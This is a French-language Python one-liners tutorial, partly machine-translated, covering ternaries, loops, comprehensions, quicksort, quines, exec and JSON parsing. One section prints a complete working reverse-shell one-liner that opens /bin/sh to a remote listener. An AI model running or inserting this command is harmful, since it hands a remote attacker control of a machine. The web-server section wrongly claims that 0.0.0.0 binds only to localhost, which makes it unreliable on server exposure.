Ceci est un document en cours d'exécution dans lequel je répondrai à toutes les questions concernant la seule ligne de code Python. Si vous voulez devenir un magicien d'une seule ligne , consultez mon livre "Python One-Liners" ! 🙂
Ce document contient de nombreux shells de code interactifs et des vidéos pour vous aider à comprendre. Cependant, c'est assez lent à cause de tous les scripts qu'il contient. Si vous voulez avoir une version plus rapide sans vidéo ni shell de code interactif, consultez la version simplifiée suivante de cet article :
[Blog Tutoriel] 56 Python One-Liners pour impressionner vos amis
Alors, êtes-vous prêt à en savoir plus sur Python One-Liners ? Commençons !
Python une ligne si sinon
Vous pouvez utiliser une simple instruction if dans une seule ligne de code. C'est ce qu'on appelle l'opérateur ternaire. L'opérateur ternaire le plus basique x if c else y
renvoie l'expression x
si l'expression booléenne c
évalue à True
. Sinon, si l'expression c
évalue à False
, l'opérateur ternaire renvoie l'expression alternative y
.
Voici un exemple minimal :
var = 21 if 3<2 else 42 # var == 42
Ternaire (du latin ternarius ) est un adjectif signifiant "composé de trois éléments" . (source) Ainsi, littéralement, l'opérateur ternaire en Python est composé de trois opérandes.
Syntaxe :Les trois opérandes sont écrits sous la forme x if c else y
qui se lit comme "retour x
si c
sinon renvoie y
“. Écrivons cela plus intuitivement comme :
<OnTrue> if <Condition> else <OnFalse>
Opérande | Description |
---|---|
L'expression de retour de l'opérateur si la condition est évaluée à True | |
<État> | La condition qui détermine s'il faut retourner la branche |
L'expression de retour de l'opérateur si la condition est évaluée à False |
Tutoriel associé :L'opérateur ternaire en Python - Tout ce que vous devez savoir
Examinons un autre exemple minimal dans notre shell de code interactif :
Exercice :Exécutez le code et entrez votre âge. Quelle est la sortie ? Exécutez à nouveau le code et essayez de modifier la sortie !
Pour booster votre puissance d'une ligne, vous pouvez écouter mon explication vidéo détaillée :
Cependant, que se passe-t-il si vous souhaitez ajouter une branche « elif » à votre opérateur ternaire ? Est-ce possible en une seule ligne ?
Python One Line Elif
À présent, vous avez appris à écrire l'instruction if-else dans une seule ligne de code à l'aide de l'opérateur ternaire. Mais pouvez-vous faire la même chose avec une instruction elif si vous avez plusieurs conditions ?
Bien sûr vous pouvez! (Si vous ne savez pas si vous pouvez faire XYZ dans une seule ligne de Python, supposez simplement que vous le pouvez. Consultez mon nouveau livre "Python One-Liners" pour maîtriser la seule ligne de code !)
Supposons que vous souhaitiez écrire la condition if-then-else suivante dans une seule ligne de code :
>>> x = 42 >>> if x > 42: >>> print("no") >>> elif x == 42: >>> print("yes") >>> else: >>> print("maybe") yes
La branche elif gagne :vous imprimez la sortie "yes"
à la coquille. Mais comment le faire en une seule ligne de code ? Utilisez simplement l'opérateur ternaire avec une instruction elif qui ne fonctionnera pas (cela générera une erreur de syntaxe).
La réponse est simple :imbriquer deux opérateurs ternaires comme ceci :
>>> print("no") if x > 42 else print("yes") if x == 42 else print("maybe") yes
Si la valeur x est supérieure à 42, nous imprimons "non" au shell. Sinon, nous exécutons le reste du code (qui est un opérateur ternaire en soi). Si la valeur x est égale à 42, on imprime "oui", sinon "peut-être".
Ainsi, en imbriquant plusieurs opérateurs ternaires, nous pouvons considérablement augmenter la puissance de notre Python one-liner !
Article connexe :Python Ternaire Elif
Vous savez maintenant comment ajouter d'autres conditions à une instruction conditionnelle sur une seule ligne. Une question intéressante est de savoir si vous pouvez également ajouter moins de conditions ?
Python une ligne si sans autre
Fabriquer de magnifiques one-liners en Python est autant un art qu'une science. Dans ce didacticiel, vous apprendrez à compresser une instruction if sans branche else en une seule ligne de code Python.
Problème :Quel est l'équivalent sur une ligne de la simple instruction if sans branche else ?
Voici un exemple :
condition = True if condition: print('hi') # hi
Vous voudrez peut-être (i) imprimer quelque chose, (ii) attribuer une valeur à une variable, ou (iii) ajouter un élément à une liste si la condition est remplie.
Ensuite, je vais vous montrer quatre méthodes pour atteindre cet objectif. Les quatre méthodes sont généralement applicables et vous pouvez facilement les personnaliser en fonction de votre application spécifique.
Passons rapidement en revue les quatre méthodes de notre shell de code interactif :
Exercice :Exécutez le code pour les deux True
et False
les conditions. Toutes les méthodes sont-elles sémantiquement équivalentes ?
En savoir plus sur ces méthodes dans mon article de blog détaillé.
Fonction Python sur une ligne
La manière la plus Pythonique de définir une fonction sur une seule ligne consiste à (1) créer une fonction lambda anonyme et (2) affecter l'objet fonction à un nom de variable. Vous pouvez ensuite appeler la fonction par son nom comme n'importe quelle autre fonction définie régulièrement. Par exemple, l'instruction f = lambda x: x+1
crée une fonction f
qui incrémente l'argument x
par un et renvoie le résultat :f(2)
renvoie 3
.
Problème :Comment définir une fonction dans une seule ligne de code Python ? Explorons cette question essentielle !
Exemple :Supposons que vous souhaitiez écrire la fonction suivante en une seule ligne de code :
def f(x): return str(x * 3) + '!' print(f(1)) # 3! print(f('python')) # pythonpythonpython!
Voyons d'abord comment procéder :
Exercice :Modifiez les fonctions à une ligne pour renvoyer la version majuscule de la chaîne générée à l'aide du string.upper()
fonction. Exécutez ensuite le code pour voir si votre sortie est correcte !
Article connexe :3 façons Pythoniques de définir une fonction en une seule ligne [pour les hackers]
Boucle pour une ligne Python
Python est puissant - vous pouvez condenser de nombreux algorithmes en une seule ligne de code Python. Alors la question naturelle se pose :pouvez-vous écrire une boucle for dans une seule ligne de code ? Cet article explore en détail cette question essentielle à la mission.
Comment écrire une boucle For dans une seule ligne de code Python ?
Il existe deux manières d'écrire une boucle for d'une seule ligne :
- Si le corps de la boucle se compose d'une instruction, écrivez simplement cette instruction dans la même ligne :
for i in range(10): print(i)
. Cela imprime les 10 premiers chiffres sur le shell (de 0 à 9). - Si le but de la boucle est de créer une liste, utilisez plutôt la compréhension de liste :
squares = [i**2 for i in range(10)]
. Le code met au carré les dix premiers nombres et les stocke dans la listesquares
.
Article connexe :Python une ligne pour la boucle
Python une ligne pour la boucle si
Vous pouvez également modifier l'instruction de compréhension de la liste en restreignant le contexte avec une autre instruction if :
Problème :Disons que nous voulons créer une liste de nombres au carré, mais vous ne considérez que les nombres pairs et ignorez les nombres impairs.
Exemple :La méthode multi-lignes serait la suivante.
squares = [] for i in range(10): if i%2==0: squares.append(i**2) print(squares) # [0, 4, 16, 36, 64]
Vous créez une liste vide squares
et ajouter successivement un autre nombre carré commençant par 0**2 et se terminant par 8**2—mais en ne considérant que les nombres pairs 0, 2, 4, 6, 8. Ainsi, le résultat est la liste [0, 4, 16, 36, 64]
.
Encore une fois, vous pouvez utiliser la compréhension de liste [i**2 for i in range(10) if i%2==0]
avec une clause if restrictive (en gras) dans la partie contexte pour compresser cela en une seule ligne de code Python :
print([i**2 for i in range(10) if i%2==0]) # [0, 4, 16, 36, 64]
Cette ligne accomplit la même sortie avec beaucoup moins de bits.
Article connexe :Python une ligne pour boucle avec If
Python une ligne pour la boucle Lambda
Problème :Étant donné une collection. Vous souhaitez créer une nouvelle liste basée sur toutes les valeurs de cette collection. Le code doit s'exécuter sur une seule ligne de code. Comment accomplissez-vous cela? Avez-vous besoin d'une fonction lambda ?
Exemple :Soit un tableau a = [1, 2, 3, 4]
. Vous devez créer un deuxième tableau b
avec toutes les valeurs de a
—tout en ajoutant +1
à chaque valeur. Voici votre multiligne :
a = [1, 2, 3, 4] b = [] for x in a: b.append(x+1) print(b) # [2, 3, 4, 5]
Comment y parvenir en une seule ligne de code ?
Répondre :Non, vous n'avez pas besoin d'une fonction lambda. Ce que vous recherchez est une fonctionnalité appelée compréhension de liste. Voici l'expression à une ligne qui accomplit cela sans la fonction lambda :
b = [x+1 for x in a] print(b) # [2, 3, 4, 5]
Plongeons-nous dans quelques informations générales au cas où vous vous demanderiez comment fonctionnent les compréhensions de liste. Sur la base de votre question, je soupçonne également que vous ne comprenez pas complètement les fonctions lambda non plus, donc j'ajouterai également une autre section sur les fonctions lambda. Enfin, vous découvrirez également une troisième méthode alternative pour résoudre ce problème exact en utilisant la fonction lambda en combinaison avec la fonction intégrée map() de Python !
Alors, restez avec moi, vous deviendrez un meilleur codeur dans le processus ! 🙂
Article connexe :Python une ligne pour la boucle Lambda
Boucle While Python à une ligne
Il existe trois manières d'écrire une boucle while d'une seule ligne :
- Méthode 1 :Si le corps de la boucle se compose d'une instruction, écrivez cette instruction dans la même ligne :
while True: print('hi')
. Cela imprime la chaîne'hi'
au shell tant que vous n'interférez pas ou que votre système d'exploitation met fin à l'exécution de force. - Méthode 2 : Si le corps de la boucle se compose de plusieurs instructions, utilisez le point-virgule pour les séparer :
while True: print('hi'), print('bye')
. Cela exécute les instructions les unes après les autres dans la boucle while. - Méthode 3 :Si le corps de la boucle est constitué d'instructions composées imbriquées, remplacez les structures composées internes par l'opérateur ternaire :
while True: print('hi') if condition else print('bye'
).
Exercice :Exécutez le code. Qu'observez-vous ? Essayez de réparer la boucle infinie !
Vous pouvez en savoir plus sur ces méthodes dans notre article de blog détaillé.
Serveur Web HTTP Python One Line
Vous souhaitez créer votre propre serveur Web en une seule ligne de code Python ? Pas de problème, utilisez simplement cette commande dans votre shell :
$ python -m http.server 8000
Le terminal vous dira :
Serving HTTP on 0.0.0.0 port 8000
Pour arrêter votre serveur Web, tuez le programme Python avec CTRL+c
.
Cela fonctionne si vous avez Python 3 installé sur votre système. Pour vérifier votre version, utilisez la commande python – version
dans ta coquille.
Vous pouvez exécuter cette commande dans votre Windows Powershell, Win Command Line, MacOS Terminal ou Linux Bash Script.
Vous pouvez voir dans la capture d'écran que le serveur s'exécute sur votre hôte local en écoutant sur le port 8000 (le port HTTP standard pour répondre aux requêtes Web).
Remarque :L'adresse IP n'est PAS 0.0.0.0—il s'agit d'une erreur souvent confondue par de nombreux lecteurs. Au lieu de cela, votre serveur Web écoute votre adresse IP « locale » 127.0.0.1 sur le port 8000. Ainsi, seules les requêtes Web émises sur votre ordinateur arriveront sur ce port. Le serveur Web n'est PAS visible du monde extérieur.
Python 2 :Pour exécuter le même serveur Web simple sur Python 2, vous devez utiliser une autre commande en utilisant SimpleHTTPServer
au lieu de http
:
$ python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ...
Si vous souhaitez démarrer votre serveur Web à partir de votre script Python, pas de problème :
import http.server import socketserver PORT = 8000 Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", PORT), Handler) as httpd: print("serving at port", PORT) httpd.serve_forever()
Ce code provient de la documentation officielle de Python. N'hésitez pas à en lire plus si vous souhaitez configurer le serveur (la plupart du code est relativement explicite).
Source :Serveur Web Python One-Liner HTTP
Python One Line Write String to File
Problème :Étant donné une chaîne et un nom de fichier. Comment écrire la chaîne dans le fichier avec le nom de fichier en utilisant une seule ligne de code Python ?
Exemple :Vous avez le nom de fichier 'hello.txt'
et vous voulez écrire la chaîne 'hello world!'
dans le fichier.
hi = 'hello world!' file = 'hello.txt' # Write hi in file ''' # File: 'hello.txt': hello world! '''
Comment y parvenir ? Voici quatre façons de le faire en une seule ligne de code !
Voici un aperçu rapide dans notre shell Python interactif :
Exercice :Exécutez le code et vérifiez le fichier 'hello.txt'
. Combien de 'hello worlds!'
y en a-t-il dans le dossier ? Modifiez le code afin qu'un seul 'hello world!'
est dans le fichier !
Vous pouvez en savoir plus sur ces méthodes dans mon article de blog détaillé !
Quiné à une ligne en Python
La plupart des informaticiens, programmeurs et hackers ne connaissent même pas la signification du mot "Quine" dans le contexte de la programmation. Donc, tout d'abord :
En gros, un quine est un programme auto-reproducteur :si vous l'exécutez, il se génère.
Voici une excellente définition :
:quin :/kwi:n/ /n./ [du nom du logicien Willard van Orman Quine, via Douglas Hofstadter] Un programme qui génère une copie de son propre texte source comme sortie complète. Concevoir la quine la plus courte possible dans un langage de programmation donné est un amusement hackish courant. (source)
La quine la plus courte possible est le programme vide suivant :
Le programme s'auto-reproduit car la sortie du programme est le programme lui-même. Allez-y et exécutez-le dans votre propre shell ! 😉
Voici une courte ligne Quine, que j'ai trouvée sur cette ressource :
s='s=%r;print(s%%s,sep="")';print(s%s,sep="")
- Vous voudrez peut-être améliorer vos compétences en formatage de chaînes pour vraiment comprendre cette phrase.
- L'argument séparateur de la fonction d'impression évite d'imprimer un caractère de nouvelle ligne à la fin.
- Le
%r
le spécificateur de format fournit automatiquement des guillemets simples.
Pour en savoir plus sur Quines, consultez mon article de blog détaillé :
Article connexe :Quines à une ligne Python
Tri rapide sur une ligne Python
Dans ce didacticiel en une seule ligne, vous découvrirez l'algorithme de tri populaire Quicksort. Étonnamment, une seule ligne de code Python suffit pour écrire l'algorithme Quicksort !
Problème :Soit une liste de valeurs numériques (entier ou flottant). Triez la liste en une seule ligne de code Python à l'aide de l'algorithme populaire Quicksort !
Exemple :Vous avez la liste [4, 2, 1, 42, 3]
. Vous souhaitez trier la liste par ordre croissant pour obtenir la nouvelle liste [1, 2, 3, 4, 42]
.
Réponse courte :La solution à une ligne suivante trie la liste de manière récursive à l'aide de l'algorithme Quicksort :
q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []
Maintenant, plongeons dans quelques détails !
L'introduction suivante est basée sur mon nouveau livre "Python One-Liners" (Lien Amazon) qui vous enseigne la puissance d'une seule ligne de code (utilisez-la judicieusement) !
Présentation :Quicksort n'est pas seulement une question populaire dans de nombreuses interviews de code - posées par Google, Facebook et Amazon - mais aussi un algorithme de tri pratique qui est rapide, concis et lisible. En raison de sa beauté, vous ne trouverez pas beaucoup d'introductions aux classes d'algorithmes qui ne traitent pas de l'algorithme Quicksort.
Aperçu :Quicksort trie une liste en divisant de manière récursive le gros problème (tri de la liste) en problèmes plus petits (tri de deux listes plus petites) et en combinant les solutions des petits problèmes de manière à résoudre le gros problème. Afin de résoudre chaque problème plus petit, la même stratégie est utilisée de manière récursive :les problèmes plus petits sont divisés en sous-problèmes encore plus petits, résolus séparément et combinés. En raison de cette stratégie, Quicksort appartient à la classe des algorithmes "Divide and Conquer".
Algorithme :L'idée principale de Quicksort est de sélectionner un élément pivot, puis de placer tous les éléments supérieurs ou égaux à l'élément pivot à droite et tous les éléments inférieurs à l'élément pivot à gauche. Maintenant, vous avez divisé le gros problème du tri de la liste en deux sous-problèmes plus petits :trier les partitions droite et gauche de la liste. Ce que vous faites maintenant est de répéter cette procédure de manière récursive jusqu'à ce que vous obteniez une liste avec zéro élément. Cette liste est déjà triée, donc la récursivité se termine.
La figure suivante montre l'algorithme Quicksort en action :
Figure :L'algorithme Quicksort sélectionne un élément pivot, divise la liste en (i) une sous-liste non triée avec tous les éléments inférieurs ou égaux au pivot, et (ii) une sous-liste non triée avec tous les éléments supérieurs au pivot. Ensuite, l'algorithme Quicksort est appelé récursivement sur les deux sous-listes non triées pour les trier. Dès que les sous-listes contiennent au maximum un élément, elles sont triées par définition - la récursivité se termine. À chaque niveau de récursivité, les trois sous-listes (gauche, pivot, droite) sont concaténées avant que la liste résultante ne soit transmise au niveau de récursivité supérieur.
Vous créez une fonction q
qui implémente l'algorithme Quicksort dans une seule ligne de code Python - et trie ainsi tout argument donné sous la forme d'une liste d'entiers.
## The Data unsorted = [33, 2, 3, 45, 6, 54, 33] ## The One-Liner q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else [] ## The Result print(q(unsorted))
Quelle est la sortie de ce code ?
## The Result print(q(unsorted)) # [2, 3, 6, 33, 33, 45, 54]
Python une ligne avec déclaration
Problème :Pouvez-vous écrire le with
déclaration en une seule ligne de code ?
Solution :Oui, vous pouvez écrire le with
instruction en une seule ligne de code si le corps de la boucle ne comporte qu'une seule instruction :
with open('code.py') as code: print(code.read())
En général, vous pouvez écrire n'importe quel bloc d'indentation (comme if
déclarations, with
environnements, ou while
loops) dans une seule ligne de code si le corps se compose d'une seule instruction.
Article connexe :Python une ligne avec instruction
Gestion des exceptions Python sur une ligne
Résumé :Vous pouvez accomplir une gestion d'exception de ligne avec le exec()
solution de contournement en passant le try
à une ligne /except
bloc sous forme de chaîne dans la fonction comme ceci :exec('try:print(x)\nexcept:print("Exception!")')
. Cette méthode générale fonctionne pour tous les blocs try et except personnalisés, même multilignes. Cependant, vous devriez éviter ce code à une ligne en raison de sa mauvaise lisibilité.
Étonnamment, il y a eu une discussion sur la gestion des exceptions sur une ligne sur la liste de diffusion Python officielle en 2013. Cependant, depuis lors, il n'y a pas eu de nouvelle fonctionnalité de « gestion des exceptions sur une ligne » dans Python. Nous devons donc nous en tenir aux méthodes présentées dans ce didacticiel. Mais ils seront amusants, promis !
Plongeons dans le problème :
Problème :Comment écrire le bloc try/except dans une seule ligne de code Python ?
Exemple :Considérez le bloc try/except suivant.
try: print(x) except: print('Exception!')
Solution :faisons un petit tour d'horizon dans notre shell de code interactif :
Exercice :Exécutez le code. Pourquoi n'y a-t-il que trois lignes de sortie ? Modifiez le code de sorte que chacune des quatre méthodes génère une sortie !
Article connexe : En savoir plus sur les méthodes de gestion des exceptions sur une ligne dans mon tutoriel de blog détaillé.
Python One Line Exécuter
Problème :étant donné un script de code multiligne en Python. Comment exécuter ce script multi-lignes dans une seule ligne de code Python ? Comment le faire depuis la ligne de commande ?
Exemple :Supposons que vous ayez la boucle for suivante avec une instruction if imbriquée dans le corps de la boucle for. Vous voulez exécuter ceci en une seule ligne depuis votre ligne de commande ?
x = 10 for i in range(5): if x%2 == 0: print(i) else: print(x) x = x - 1 ''' 0 9 2 7 4 '''
Le code affiche cinq nombres sur le shell. Il n'imprime que les valeurs impaires de x
. Si x
prend une valeur paire, il imprime la variable de boucle i
.
Vous pouvez écrire n'importe quel code source dans une chaîne et exécuter la chaîne en utilisant le exec()
intégré fonction en Python. C'est peu connu, mais les pirates l'utilisent souvent pour regrouper du code malveillant sur une seule ligne apparemment inoffensive.
Si vous avez du code qui s'étend sur plusieurs lignes, vous pouvez le regrouper dans une chaîne d'une seule ligne en utilisant le caractère de saut de ligne '\n'
dans votre chaîne :
# Method 1 exec('x = 10\nfor i in range(5):\n if x%2 ==0: print(i)\n else: print(x)\n x = x-1')
Cet extrait de code à une ligne est sémantiquement équivalent à la boucle for imbriquée ci-dessus qui nécessite sept lignes de code ! Le résultat est le même :
''' 0 9 2 7 4 '''
Article connexe :Comment exécuter plusieurs lignes dans une seule ligne Python à partir de la ligne de commande ?
Python One Line Inverse Shell
Voici la définition d'un Reverse Shell :
Une coque inversée est utilisé par les pirates pour accéder à une machine cible. La machine cible ouvre un shell pour communiquer avec la machine attaquante. La machine attaquante reçoit la connexion (écoute sur un port donné) et peut désormais accéder à la machine cible. Pour réaliser un shell inversé, un pirate doit exécuter du code sur une machine cible. Les reverse shells sont également utilisés par les ingénieurs en sécurité pour tester et empêcher les attaques par reverse shell.
J'ai trouvé ce code dans un fil de blog. Vous pouvez l'exécuter à partir de n'importe quel ordinateur sur lequel Python est installé et visible depuis votre emplacement actuel :
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Mais vous ne devez jamais exécuter de code copié-collé à partir d'une source Internet. Que se passe-t-il si le code supprime tous les fichiers de votre ordinateur ?
Vous pouvez lire l'intégralité de l'article sur les attaques shell inversées et les chevaux de Troie en Python ici.
Fichier de lecture d'une ligne Python
Disons que votre fichier est stocké dans le fichier 'code.py'
. Maintenant, vous pouvez ouvrir le fichier, lire toutes les lignes, supprimer les caractères d'espacement de début et de fin et stocker le résultat dans une liste Python dans une seule ligne de code. Voici le code :
print([line.strip() for line in open("code.py")])
Python est magnifique ! ?
Article connexe :One-Liner pour lire un fichier en Python
Python One Line Return If
Problème :Comment revenir d'une fonction ou d'une méthode Python en une seule ligne ?
Exemple :Considérez l'énoncé d'"objectif" suivant :
def f(x): return None if x == 0
Cependant, cela conduit à une erreur de syntaxe :
Voici comment écrire l'instruction return avec une expression if dans une seule ligne de code Python :
def f(x): if x==0: return None
Je dois noter que PEP 8 convient en fait à l'écriture d'instructions if block sur une seule ligne. Néanmoins, la valeur de retour par défaut d'une fonction est None
donc le code ne fait vraiment rien.
Article connexe :Retour Python sur une ligne si
Récursivité Python sur une ligne
Deux façons d'écrire un one-liner récursif : (1) écrivez la fonction avec l'instruction de retour sur une seule ligne, comme dans def f(x): return f(x+1)
, ou (2) attribuer une fonction lambda à un nom de variable et utiliser le nom de la variable dans l'expression de retour de la fonction lambda, comme dans f = lambda x: f(x)
. Pour définir un cas de base de récursivité, vous pouvez utiliser l'opérateur ternaire x if c else y
pour renvoyer x
si état c
est remplie, sinon y
.
Plongeons-nous dans le problème et plusieurs exemples détaillés !
Problème :Comment écrire une fonction récursive en une seule ligne de code ?
Vous pouvez trouver cela difficile car vous devez définir le nom de la fonction, le cas de base et l'appel de fonction récursif, le tout sur une seule ligne de code Python !
Article connexe :Pour rafraîchir vos compétences générales en récursivité, consultez mon article de blog détaillé (y compris la vidéo).
Voici un aperçu des différents algorithmes, nous avons one-linerized récursivement! 😉
Exercice :Exécutez le code et testez les résultats. Sont-ils corrects ? Modifiez maintenant les entrées des cas de base de récursivité et exécutez à nouveau le code ! Sont-ils corrects ?
Plongeons-nous dans chacune de ces méthodes dans cet article de blog !
Regex Python à une ligne
Résumé :Pour correspondre à un pattern
dans un text
donné en utilisant une seule ligne de code Python, utilisez la ligne import re; print(re.findall(pattern, text))
qui importe la bibliothèque d'expressions régulières re et imprime le résultat du findall()
fonction au shell.
Le re.findall(pattern, string, flags=0) La méthode renvoie une liste de correspondances de chaînes. En savoir plus dans notre tutoriel de blog.
# Method 1: findall() import re; print(re.findall('F.*r', 'Learn Python with Finxter')) # ['Finxter']
Il n'y a pas de meilleur moyen d'importer le re
bibliothèque et en appelant le re.findall()
fonction dans une seule ligne de code - vous devez utiliser le point-virgule A;B
pour séparer les instructions A
et B
.
Le findall()
La fonction trouve toutes les occurrences du modèle dans la chaîne.
Article connexe : Correspondance d'expression régulière Python sur une ligne
Python One Line Replace
Problème :Vous utilisez Python dans un terminal et vous souhaitez remplacer une chaîne 'example'
dans un fichier texte file.txt
:
xxxxx example xxxxx
Votre objectif est d'accomplir le texte suivant :
xxxxx replaced_example xxxxx
En particulier, vous souhaitez ouvrir le fichier, remplacer le texte et réécrire le résultat dans le fichier, le tout sur une seule ligne de code Python !
Une ligne Python peut-elle accomplir cela ?
Solution :Remplace toutes les occurrences de "example"
avec "replaced_example"
et imprimez le résultat sur l'entrée standard :
python -c "print(open('file.txt').read().replace('example','replaced_example'))"
La méthode replace remplace toutes les occurrences du premier argument par le second argument. Il renvoie la nouvelle chaîne. Vous pouvez maintenant imprimer le résultat sur le stdin ou le réécrire dans un fichier.
Article connexe :Remplacement d'une ligne Python
Ternaire à une ligne Python
Ternaire (du latin ternarius ) est un adjectif signifiant "composé de trois éléments" . (source) Ainsi, littéralement, l'opérateur ternaire en Python est composé de trois opérandes.
Syntaxe :Les trois opérandes sont écrits dans une combinaison intuitive ... if ... else ...
.
<On True> if <Condition> else <On False>
Opérande | Description |
---|---|
L'expression de retour de l'opérateur si la condition est évaluée à True | |
<État> | La condition qui détermine s'il faut retourner la branche |
L'expression de retour de l'opérateur si la condition est évaluée à False |
Voyons un exemple minimum dans notre shell de code interactif :
Exercice :Exécutez le code et entrez votre âge. Quelle est la sortie ? Exécutez à nouveau le code et essayez de modifier la sortie !
Python Une Ligne Deux Boucles For (Double)
Problème :Comment écrire un for
imbriqué boucle en tant que Python one-liner? En gros, vous voulez itérer sur deux itérables ou plus qui sont imbriqués les uns dans les autres. Voici un exemple de multiligne avec deux boucles imbriquées :
iter1 = [1, 2, 3, 4] iter2 = ['a', 'b', 'c'] for x in iter1: for y in iter2: print(x, y) ''' 1 a 1 b 1 c 2 a 2 b 2 c 3 a 3 b 3 c 4 a 4 b 4 c '''
Voici un bref aperçu :
Lire l'intégralité de l'article ici.
Python une ligne deux commandes
Problème :Compte tenu de plusieurs instructions Python. Comment les écrire en Python One-Liner ?
Exemple :Considérons l'exemple suivant de quatre instructions dans un bloc avec une indentation uniforme :
a = 1 b = 2 c = a + b print(c)
Chacune des quatre instructions est écrite sur une ligne distincte dans un éditeur de code - c'est la procédure normale. Cependant, que se passe-t-il si vous souhaitez les uniriser :
Comment écrire les quatre instructions en une seule ligne de code ?
Solution :La réponse est simple si toutes les instructions ont une indentation uniforme et qu'il n'y a pas de bloc imbriqué. Dans ce cas, vous pouvez utiliser le point-virgule comme séparateur entre les déclarations :
a = 1; b = 2; c = a + b; print(c)
Article connexe :Comment écrire plusieurs instructions sur une seule ligne en Python ?
Python une ligne à plusieurs lignes
Pour diviser une ligne en plusieurs lignes en Python, utilisez une parenthèse ouvrante dans la ligne que vous souhaitez diviser. Maintenant, Python attend la parenthèse fermante dans l'une des lignes suivantes et l'expression est évaluée à travers les limites de ligne. Comme alternative, vous pouvez également utiliser la barre oblique inverse \
juste devant le saut de ligne pour échapper au caractère de saut de ligne.
Après avoir publié un article sur la façon de condenser plusieurs lignes en une seule ligne de code Python, de nombreux Finxters ont demandé : Comment diviser une longue ligne en plusieurs lignes en Python ?
Problème :Étant donné une longue ligne de code Python. Comment le diviser en plusieurs lignes ?
Il existe plusieurs façons de diviser cela en plusieurs lignes. Commençons par un aperçu :
Exercice :Exécutez le code. Quelle est la sortie ? Modifiez la méthode 3 et réécrivez-la en une seule ligne !
Vous pouvez vous plonger dans toutes ces méthodes dans mon article de blog ici.
Décodage d'URL Python sur une ligne
L'encodage d'URL "est une méthode pour encoder des informations dans un URI (Uniform Resource Identifier)" . Il est également appelé Encodage en pourcentage car les symboles de pourcentage sont utilisés pour encoder certains caractères réservés :
! | # | $ | % | & | ' | ( | ) | * | + | , | / | : | ; | = | ? | @ | [ | ] |
%21 | %23 | %24 | %25 | %26 | %27 | %28 | %29 | %2A | %2B | %2C | %2F | %3A | %3B | %3D | %3F | %40 | %5B | %5D |
$ alias urldecode='python3 -c "import sys, urllib.parse as ul; \ print(ul.unquote_plus(sys.argv[1]))"' $ alias urlencode='python3 -c "import sys, urllib.parse as ul; \ print (ul.quote_plus(sys.argv[1]))"'
Voici un exemple d'utilisation :
$ urldecode 'q+werty%3D%2F%3B' q werty=/; $ urlencode 'q werty=/;' q+werty%3D%2F%3B
Source
Article connexe : Méthodes de décodage d'URL
Objet à une ligne Python
Problème :Comment créer un objet Python en une seule ligne de code ? Et comment associer des propriétés personnalisées à cet objet dans la même ligne ?
Exemple :Supposons que vous vouliez faire quelque chose comme cet extrait de pseudo-code :
var newObject = new({'property' : 'value' }) newObject.property # returns 'value'
Cependant, vous ne pouvez pas faire la même chose en Python car cela créerait un dictionnaire :
new_object = {'property': 'value'} new_object.property # raises an AttributeError
Cela lève un AttributeError
car il n'y a pas d'attribut property
associé à l'objet dictionnaire. Pour accéder à la clé du dictionnaire dans ce cas, vous devez utiliser la syntaxe new_object['property']
.
Alors, comment créer un objet Python en ligne avec des attributs dans une seule ligne de code Python ?
Voici un bref aperçu de nos trois méthodes :
Exercice :Les trois méthodes produisent-elles le même résultat ? Exécutez le code pour le tester !
Voulez-vous plonger plus en détail dans chacune de ces méthodes ? Lisez cet article :
Article connexe :Comment créer des objets en ligne avec des propriétés ? [Python One-Liner]
Impression sur une ligne Python
Problème :Comment utiliser le print()
fonction sans imprimer un caractère de saut de ligne implicite dans le shell Python ?
Exemple :Supposons que vous souhaitiez utiliser le print()
fonction dans une boucle for, mais vous ne voulez pas voir plusieurs retours à la ligne entre la sortie imprimée :
for i in range(1,5): print(i)
La sortie standard par défaut est la suivante :
1 2 3 4
Mais vous souhaitez obtenir la sortie suivante dans une seule ligne de code Python.
1 2 3 4
Comment y parvenir en Python 3 ?
Solution :Je vais vous donner la solution rapide dans un shell Python interactif ici :
En lisant la suite, vous comprendrez comment cela fonctionne et deviendrez un meilleur codeur dans le processus.
Article connexe :Comment imprimer sans retour à la ligne en Python
Analyse JSON d'une seule ligne en Python
Problème :Comment analyser un objet JSON en tant que Python One-Liner ?
Exemple :Disons que vous avez extrait un objet JSON d'un serveur en utilisant le curl
commande :
curl -s http://example.com | python -mjson.tool { "continent_code": "EU", "country": "Netherlands", "country_code": "NL", ... "timezone": "Europe/Amsterdam" }
Source
Comment analyser l'objet JSON résultant et extraire, par exemple, la valeur "Netherlands"
associé au "country"
clé ?
Solution :Le one-liner suivant accomplit cela :
curl -s http://example.com | python -c 'import sys, json; print(json.load(sys.stdin)["country"])'
Vous pouvez trouver une explication détaillée, étape par étape, de ce one-liner dans l'article suivant.
Article connexe :Comment Parser JSON dans un Python One-Liner ?
Python une ligne jolie impression JSON
Problème :Given a JSON object. How to pretty print it from the shell/terminal/command line using a Python one-liner?
Minimal Example :You have given the following JSON object:
{"Alice": "24", "Bob": "28"}
And you want to get the following print output:
{ "Alice": "24", "Bob": "28" }
How to accomplish this using a Python one-liner?
The default way to accomplish this in a Python script is to import the json
library to solve the issue:
Exercice :Execute the script. What’s the output? Now change the number of indentation spaces to 2!
You can learn everything there is to know about pretty printing JSON objects from your command line in this tutorial:
Related Article :Pretty Print JSON [Python One-Liner]
Python One Line Array Filter
How can you filter an array in Python using an arbitrary condition?
The most Pythonic way of filtering an array is the list comprehension statement [x for x in list if condition]
. You can replace condition
with any function of x
you would like to use as a filtering criterion.
For example, if you want to filter all elements that are smaller than, say, 10, you’d use the list comprehension statement [x for x in list if x<10]
to create a new list with all list elements that are smaller than 10.
Here are three examples of filtering a list:
- Get elements smaller than eight:
[x for x in lst if x<8]
. - Get even elements:
[x for x in lst if x%2==0]
. - Get odd elements:
[x for x in lst if x%2]
.
lst = [8, 2, 6, 4, 3, 1] # Filter all elements <8 small = [x for x in lst if x<8] print(small) # Filter all even elements even = [x for x in lst if x%2==0] print(even) # Filter all odd elements odd = [x for x in lst if x%2] print(odd)
The output is:
